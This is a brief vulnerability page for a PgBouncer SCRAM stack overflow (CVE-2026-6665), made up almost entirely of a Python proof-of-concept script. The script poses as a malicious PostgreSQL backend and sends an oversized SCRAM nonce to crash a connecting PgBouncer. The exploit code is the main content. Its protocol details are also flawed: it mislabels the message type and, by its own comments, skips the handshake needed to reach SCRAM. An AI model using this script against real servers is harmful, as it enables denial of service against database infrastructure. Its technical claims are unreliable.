CVE-2026-6665: PgBouncer SCRAM栈溢出漏洞

import socket # Proof of Concept for CVE-2026-6665 # This script simulates a malicious PostgreSQL backend that sends a crafted SCRAM server-final-message. # It targets a PgBouncer instance connecting to it. HOST = '0.0.0.0' PORT = 5433 def exploit(): # Create a malicious SCRAM server-final-message with a long nonce # The message format typically includes 'r=nonce,s=salt,i=iter' # We extend the nonce to trigger the strlcat overflow in PgBouncer overflow_payload = "A" * 10000 malicious_message = f"r={overflow_payload},s=deadbeef,i=4096" with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((HOST, PORT)) s.listen(1) print(f"[+] Malicious backend listening on {PORT}...") conn, addr = s.accept() print(f"[+] Connection accepted from {addr}") # Note: A full PostgreSQL handshake implementation is required to reach the SCRAM stage. # This is a simplified payload transmission example. # In a real exploit, one must complete the StartupMessage and Authentication flow first. try: # Sending the malicious payload during the SCRAM exchange conn.sendall(malicious_message.encode('utf-8')) print("[+] Payload sent. Check PgBouncer for crash.") except Exception as e: print(f"[-] Error: {e}") finally: conn.close() if __name__ == "__main__": exploit()